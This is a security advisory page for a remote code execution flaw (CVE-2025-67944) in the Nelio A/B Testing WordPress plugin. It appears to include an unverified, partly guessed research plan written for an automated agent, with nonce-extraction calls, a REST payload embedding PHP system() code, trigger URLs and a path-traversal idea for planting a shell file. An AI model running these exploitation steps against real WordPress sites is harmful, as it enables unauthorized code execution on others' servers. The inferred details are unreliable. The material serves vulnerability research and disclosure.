CVE-2025-67944

Nelio AB Testing <= 8.1.8 - Authenticated (Editor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
8.2.0
Patched in
9d
Time to patch

Description

The Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.1.8. This makes it possible for authenticated attackers, with Editor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=8.1.8
PublishedJanuary 20, 2026
Last updatedJanuary 28, 2026
Affected pluginnelio-ab-testing

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2025-67944**, a Remote Code Execution (RCE) vulnerability in the Nelio A/B Testing plugin. The vulnerability allows users with Editor-level permissions or higher to execute arbitrary PHP code due to improper handling of "alternatives" or settings that are subsequentl…

Show full research plan

This research plan targets CVE-2025-67944, a Remote Code Execution (RCE) vulnerability in the Nelio A/B Testing plugin. The vulnerability allows users with Editor-level permissions or higher to execute arbitrary PHP code due to improper handling of "alternatives" or settings that are subsequently evaluated or executed on the server.


1. Vulnerability Summary

The Nelio A/B Testing plugin provides a complex UI (often React-based) for creating marketing experiments. The vulnerability arises because the plugin allows Editors to save content for experiment "alternatives" (like Custom HTML or scripts) which is incorrectly processed on the server side. Specifically, user-supplied input is passed to a sink that executes code (such as eval() or writing to a .php file that is later include'd) without sufficient sanitization or a check for the unfiltered_html capability (which Editors have, but which should not normally grant RCE).

2. Attack Vector Analysis

  • Endpoint: WordPress REST API or AJAX. Nelio heavily uses the REST API for its experiment editor.
  • Vulnerable Route: /wp-json/nelio-ab-testing/v1/tests (or a similar sub-route for variants/alternatives).
  • HTTP Method: POST or PUT.
  • Payload Parameter: Likely within the alternatives array, specifically in a content, css, or js field that the server-side rendering engine treats as PHP.
  • Authentication: Authenticated, Editor-level access (PR:H in CVSS, but "Editor" in WordPress context).
  • Preconditions: The Nelio A/B Testing plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point: The REST API controller (e.g., Nelio_AB_Testing_Tests_Controller) receives a request to create or update an experiment.
  2. Validation: The update_item_permissions_check or create_item_permissions_check verifies the user has the edit_posts capability (standard for Editors), but fails to restrict "code-heavy" alternatives to Administrators only.
  3. Data Processing: The controller passes the experiment data to a handler (e.g., Nelio_AB_Testing_Server::save_test).
  4. The Sink:
    • Possibility A: The plugin saves "Custom HTML" alternatives into a cache directory as .php files to allow for server-side processing/includes during the A/B test split.
    • Possibility B: The plugin uses a templating engine or a custom function that calls eval() on a specific field within the test configuration.
  5. Trigger: The code is executed when the test is previewed or when the experiment page is visited on the frontend.

4. Nonce Acquisition Strategy

Nelio A/B Testing uses the standard WordPress REST API nonce.

  1. Identify Trigger: The Nelio dashboard loads on pages with the slug page=nelio-ab-testing.
  2. Navigation: Log in as an Editor and navigate to /wp-admin/admin.php?page=nelio-ab-testing.
  3. Extraction: The REST nonce is typically localized in the nabSettings or nelioAbTesting JavaScript object.
  4. Execution Agent Steps:
    • browser_navigate("/wp-admin/admin.php?page=nelio-ab-testing")
    • browser_eval("window.nabSettings?.nonce || window.nelioAbTestingData?.nonce")
    • Note: If not found there, check for the standard wp_rest nonce localized by WordPress: browser_eval("wpApiSettings.nonce").

5. Exploitation Strategy

The goal is to inject PHP code into a test alternative that the plugin will execute.

Step 1: Discover existing tests or create a draft

  • Request: GET /wp-json/nelio-ab-testing/v1/tests
  • Header: X-WP-Nonce: [NONCE]

Step 2: Inject RCE Payload
Create a new "Page" test with a malicious alternative.

  • Request: POST /wp-json/nelio-ab-testing/v1/tests
  • Header: Content-Type: application/json, X-WP-Nonce: [NONCE]
  • Payload (Inferred):
    {
      "title": "Exploit Test",
      "type": "post",
      "status": "draft",
      "alternatives": [
        {
          "name": "Control",
          "is_control": true
        },
        {
          "name": "RCE Variant",
          "content": "<?php system('id > /tmp/rce.txt'); phpinfo(); ?>",
          "type": "html"
        }
      ]
    }
    
    (Note: If "content" doesn't work, try fields like "css" or "js" or specific "metadata" fields used for server-side hooks.)

Step 3: Trigger Execution
The code might execute during a "Preview" action or when the test is "started".

  • Attempt to preview the variant: GET /?nab=[VARIANT_ID] or GET /?nelio_ab_preview=[TEST_ID].

6. Test Data Setup

  1. User: Create a user with the Editor role.
  2. Content: Create at least one published Page.
  3. Plugin Config: Ensure Nelio A/B Testing is activated and the initial setup (if any) is bypassed or completed via wp option update.

7. Expected Results

  • REST Response: The server returns 201 Created or 200 OK, confirming the payload is saved in the database.
  • Execution: Upon visiting the trigger URL (preview or frontend), the system command id executes.
  • Output: The response contains the output of phpinfo() or the id command if the sink is an eval that echoes, or a file /tmp/rce.txt is created if the sink is a file write.

8. Verification Steps

  1. File Check: wp eval "echo file_exists('/tmp/rce.txt') ? 'VULNERABLE' : 'FAILED';"
  2. Database Check: wp post list --post_type=nab_test (Verify the malicious test exists).
  3. Log Check: Check the PHP error logs for any execution errors that reveal the path of the executed code.

9. Alternative Approaches

  • Option Injection: If the RCE is via settings, try POST /wp-json/nelio-ab-testing/v1/settings with a payload injecting into a "Global Scripts" field.
  • Path Traversal + Injection: Check if the alternatives allow specifying a filename. If the plugin writes to .../nelio-ab-testing/cache/[ID].php, try to name the variant ../../uploads/shell.
  • Action/Filter Hook Injection: Some Nelio versions allow adding custom "Hooks". If these hooks allow raw PHP, target the REST endpoint responsible for saving experiment hooks.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.